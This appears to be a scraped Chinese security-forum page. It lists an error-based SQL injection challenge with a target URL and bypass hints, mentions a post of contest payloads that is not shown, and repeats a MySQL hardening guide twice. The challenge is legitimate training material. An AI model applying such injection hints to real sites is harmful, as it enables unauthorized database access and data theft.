sql server字符串和数字进行比较的时候就会报错并把字符串的内容显示到错误上。
【答案已发】【SQL注入挑战】你好我是宇智波铁柱,英文名: .......
封 发表了文章 • 4 个评论 • 1096 次浏览 • 2017-08-02 21:11
数据库名:sqltest
题目地址:sqltest233.0aa.me/sqltest/index.php?id=2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss2017.08.03 14:07 提示2:join
答案在附件里面。
查看全部
要求:报错注入,别扫描,拿到数据库里面flag{xxxxx}的字样
数据库名:sqltest
题目地址:sqltest233.0aa.me/sqltest/index.php?id=
2017.08.03 10:00 更新:增加过滤单双引号;
2017.08.03 11:46 提示:多刷刷前几天的rss
2017.08.03 14:07 提示2:join
答案在附件里面。
百度SQL注入挑战赛payload
封 发表了文章 • 4 个评论 • 992 次浏览 • 2017-07-21 22:13
详情看附件吧。
转载带上Auther: Mosuan 就行。
详情看附件吧。
转载带上Auther: Mosuan 就行。
MySQL安全策略
ttgo2 发表了文章 • 2 个评论 • 843 次浏览 • 2017-06-15 11:06
我的一个老朋友,做了dba多年,站在一个dba的角度上分析安全蛮有意思的,,,这里跟大家分享一下
除了MySQL自身的账号密码安全管理,系统层面、应用层面的安全策略你注意到了吗?
数据是企业核心资产,数据对企业而言是最重要的工作之一。稍有不慎,极有可能发生数据无意泄露,甚至被黑客恶意窃取的风险。每年业界都会传出几起大事件,某知名或不知名的公司被脱裤(拖库的谐音,意思是整个数据库被黑客盗取)之类的。
从数据安全上也可以分为外网安全及内部操作安全,下面分别讨论一下。
内部操作安全策略
是否回收DBA全部权限
试想,如果DBA没权限了,日常DB运维的活,以及紧急故障处理,该怎么实施呢?因此,建议在没有成熟的自动化运维平台前,不应该粗暴的回收DBA的太多权限,否则可能会导致工作效率降低的,甚至DBA有一种不被信任的负面情绪。
MySQL层安全策略
业务帐号最多只可以通过内网远程登录,而不能通过公网远程连接。
增加运维平台账号,该账号允许从专用的管理平台服务器远程连接。当然了,要对管理平台部署所在服务器做好安全措施以及必要的安全审计策略。
建议启用数据库审计功能。这需要使用MySQL企业版,或者Percona/MariaDB分支版本,MySQL社区版本不支持该功能。
启用 safe-update 选项,避免没有 WHERE 条件的全表数据被修改;
在应用中尽量不直接DELETE删除数据,而是设置一个标志位就好了。需要真正删除时,交由DBA先备份后再物理删除,避免误操作删除全部数据。
还可以采用触发器来做一些辅助功能,比如防止黑客恶意篡改数据。
MySQL账号权限规则
业务帐号,权限最小化,坚决不允许DROP、TRUNCATE权限。
业务账号默认只授予普通的DML所需权限,也就是select、update、insert、delete、execute等几个权限,其余不给。
MySQL初始化后,先行删除无用账号,删除匿名test数据库mysql> delete from mysql.user where user!='root' or host!='localhost'; flush privileges; mysql> drop database test;创建备份专用账号,只有SELECT权限,且只允许本机可登入。
设置MySQL账号的密码安全策略,包括长度、复杂性。
关于数据备份
记住,做好数据全量备份是系统崩溃无法修复时的最后一概救命稻草。
备份数据还可以用来做数据审计或是用于数据仓库的数据源拉取之用。
一般来说,备份策略是这样的:每天一次全备,并且定期对binlog做增备,或者直接利用binlog server机制将binlog传输到其他远程主机上。有了全备+binlog,就可以按需恢复到任何时间点。
特别提醒:当采用xtrabackup的流式备份时,考虑采用加密传输,避免备份数据被恶意截取。
外网安全策略
事实上,操作系统安及应用安全要比数据库自身的安全策略更重要。同理,应用程序及其所在的服务器端的系统安全也很重要,很多数据安全事件,都是通过代码漏洞入侵到应用服务器,再去探测数据库,最后成功拖库。
操作系统安全建议
运行MySQL的Linux必须只运行在内部网络,不允许直接对公网暴露,实在有需要从公网连接的话,再通过跳板机做端口转发,并且如上面所述,要严格限制数据库账号权限级别。
系统账号都改成基于ssh key认证,不允许远程密码登入,且ssh key的算法、长度有要求以确保相对安全。这样就没有密码丢失的风险,除非个人的私钥被盗。
进一步的话,甚至可以对全部服务器启用PAM认证,做到账号的统一管理,也更方便、安全。
关闭不必要的系统服务,只开必须的进程,例如 mysqld、sshd、networking、crond、syslogd 等服务,其它的都关闭。
禁止root账号远程登录。
禁止用root账号启动mysqld等普通业务服务进程。
sshd服务的端口号建议修改成10000以上。
在不影响性能的前提下,尽可能启用对MySQL服务端口的防火墙策略(高并发时,采用iptables可能影响性能,建议改用ip route策略)。
GRUB必须设置密码,物理服务器的Idrac/imm/ilo等账号默认密码也要修改。
每个需要登入系统的员工,都使用每个人私有帐号,而不是使用公共账号。
应该启用系统层的操作审计,记录所有ssh日志,或利bash记录相应的操作命令并发送到远程服务器,然后进行相应的安全审计,及时发现不安全操作。
正确设置MySQL及其他数据库服务相关目录权限,不要全是755,一般750就够了。
可以考虑部署堡垒机,所有连接远程服务器都需要先通过堡垒机,堡垒机上就可以实现所有操作记录以及审计功能了。
脚本加密对安全性提升其实没太大帮助。对有经验的黑客来说,只要有系统登入权限,就可以通过提权等方式轻松获得root。
应用安全建议
禁用web server的autoindex配置。
从制度层面,杜绝员工将代码上传到外部github上,因为很可能存在内部IP、账号密码泄露的风险,真的要上传必须先经过安全审核。
尽量不要在公网上使用开源的cms、blog、论坛等系统,除非做过代码安全审计,或者事先做好安全策略。这类系统一般都是黑客重点研究对象,很容易被搞;
在web server层,可以用一些安全模块,比如nginx的WAF模块;
在app server层,可以做好代码安全审计、安全扫描,防止XSS攻击、CSRF攻击、SQL注入、文件上传攻击、绕过cookie检测等安全漏洞;
应用程序中涉及账号密码的地方例如JDBC连接串配置,尽量把明文密码采用加密方式存储,再利用内部私有的解密工具进行反解密后再使用。或者可以让应用程序先用中间账号连接proxy层,再由proxy连接MySQL,避免应用层直连MySQL;
最后我们想说,任何高明的安全策略,都不如内部员工的安全意识来的重要。以前发生过一起案例,公司内有位员工的PC不慎中毒,结果导致内网数据被盗。
安全无小事,每个人都应铭记于心。在数据安全面前,可以适当牺牲一些便利性,当然也不能太过,否则可能得不偿失。
查看全部
我的一个老朋友,做了dba多年,站在一个dba的角度上分析安全蛮有意思的,,,这里跟大家分享一下
除了MySQL自身的账号密码安全管理,系统层面、应用层面的安全策略你注意到了吗?
数据是企业核心资产,数据对企业而言是最重要的工作之一。稍有不慎,极有可能发生数据无意泄露,甚至被黑客恶意窃取的风险。每年业界都会传出几起大事件,某知名或不知名的公司被脱裤(拖库的谐音,意思是整个数据库被黑客盗取)之类的。
从数据安全上也可以分为外网安全及内部操作安全,下面分别讨论一下。
内部操作安全策略
- 是否回收DBA全部权限
试想,如果DBA没权限了,日常DB运维的活,以及紧急故障处理,该怎么实施呢?因此,建议在没有成熟的自动化运维平台前,不应该粗暴的回收DBA的太多权限,否则可能会导致工作效率降低的,甚至DBA有一种不被信任的负面情绪。
- MySQL层安全策略
业务帐号最多只可以通过内网远程登录,而不能通过公网远程连接。
增加运维平台账号,该账号允许从专用的管理平台服务器远程连接。当然了,要对管理平台部署所在服务器做好安全措施以及必要的安全审计策略。
建议启用数据库审计功能。这需要使用MySQL企业版,或者Percona/MariaDB分支版本,MySQL社区版本不支持该功能。
启用 safe-update 选项,避免没有 WHERE 条件的全表数据被修改;
在应用中尽量不直接DELETE删除数据,而是设置一个标志位就好了。需要真正删除时,交由DBA先备份后再物理删除,避免误操作删除全部数据。
还可以采用触发器来做一些辅助功能,比如防止黑客恶意篡改数据。
- MySQL账号权限规则
业务帐号,权限最小化,坚决不允许DROP、TRUNCATE权限。
业务账号默认只授予普通的DML所需权限,也就是select、update、insert、delete、execute等几个权限,其余不给。
MySQL初始化后,先行删除无用账号,删除匿名test数据库mysql> delete from mysql.user where user!='root' or host!='localhost'; flush privileges; mysql> drop database test;创建备份专用账号,只有SELECT权限,且只允许本机可登入。
设置MySQL账号的密码安全策略,包括长度、复杂性。
- 关于数据备份
记住,做好数据全量备份是系统崩溃无法修复时的最后一概救命稻草。
备份数据还可以用来做数据审计或是用于数据仓库的数据源拉取之用。
一般来说,备份策略是这样的:每天一次全备,并且定期对binlog做增备,或者直接利用binlog server机制将binlog传输到其他远程主机上。有了全备+binlog,就可以按需恢复到任何时间点。
特别提醒:当采用xtrabackup的流式备份时,考虑采用加密传输,避免备份数据被恶意截取。
外网安全策略
事实上,操作系统安及应用安全要比数据库自身的安全策略更重要。同理,应用程序及其所在的服务器端的系统安全也很重要,很多数据安全事件,都是通过代码漏洞入侵到应用服务器,再去探测数据库,最后成功拖库。
- 操作系统安全建议
运行MySQL的Linux必须只运行在内部网络,不允许直接对公网暴露,实在有需要从公网连接的话,再通过跳板机做端口转发,并且如上面所述,要严格限制数据库账号权限级别。
系统账号都改成基于ssh key认证,不允许远程密码登入,且ssh key的算法、长度有要求以确保相对安全。这样就没有密码丢失的风险,除非个人的私钥被盗。
进一步的话,甚至可以对全部服务器启用PAM认证,做到账号的统一管理,也更方便、安全。
关闭不必要的系统服务,只开必须的进程,例如 mysqld、sshd、networking、crond、syslogd 等服务,其它的都关闭。
禁止root账号远程登录。
禁止用root账号启动mysqld等普通业务服务进程。
sshd服务的端口号建议修改成10000以上。
在不影响性能的前提下,尽可能启用对MySQL服务端口的防火墙策略(高并发时,采用iptables可能影响性能,建议改用ip route策略)。
GRUB必须设置密码,物理服务器的Idrac/imm/ilo等账号默认密码也要修改。
每个需要登入系统的员工,都使用每个人私有帐号,而不是使用公共账号。
应该启用系统层的操作审计,记录所有ssh日志,或利bash记录相应的操作命令并发送到远程服务器,然后进行相应的安全审计,及时发现不安全操作。
正确设置MySQL及其他数据库服务相关目录权限,不要全是755,一般750就够了。
可以考虑部署堡垒机,所有连接远程服务器都需要先通过堡垒机,堡垒机上就可以实现所有操作记录以及审计功能了。
脚本加密对安全性提升其实没太大帮助。对有经验的黑客来说,只要有系统登入权限,就可以通过提权等方式轻松获得root。
- 应用安全建议
禁用web server的autoindex配置。
从制度层面,杜绝员工将代码上传到外部github上,因为很可能存在内部IP、账号密码泄露的风险,真的要上传必须先经过安全审核。
尽量不要在公网上使用开源的cms、blog、论坛等系统,除非做过代码安全审计,或者事先做好安全策略。这类系统一般都是黑客重点研究对象,很容易被搞;
在web server层,可以用一些安全模块,比如nginx的WAF模块;
在app server层,可以做好代码安全审计、安全扫描,防止XSS攻击、CSRF攻击、SQL注入、文件上传攻击、绕过cookie检测等安全漏洞;
应用程序中涉及账号密码的地方例如JDBC连接串配置,尽量把明文密码采用加密方式存储,再利用内部私有的解密工具进行反解密后再使用。或者可以让应用程序先用中间账号连接proxy层,再由proxy连接MySQL,避免应用层直连MySQL;
最后我们想说,任何高明的安全策略,都不如内部员工的安全意识来的重要。以前发生过一起案例,公司内有位员工的PC不慎中毒,结果导致内网数据被盗。
安全无小事,每个人都应铭记于心。在数据安全面前,可以适当牺牲一些便利性,当然也不能太过,否则可能得不偿失。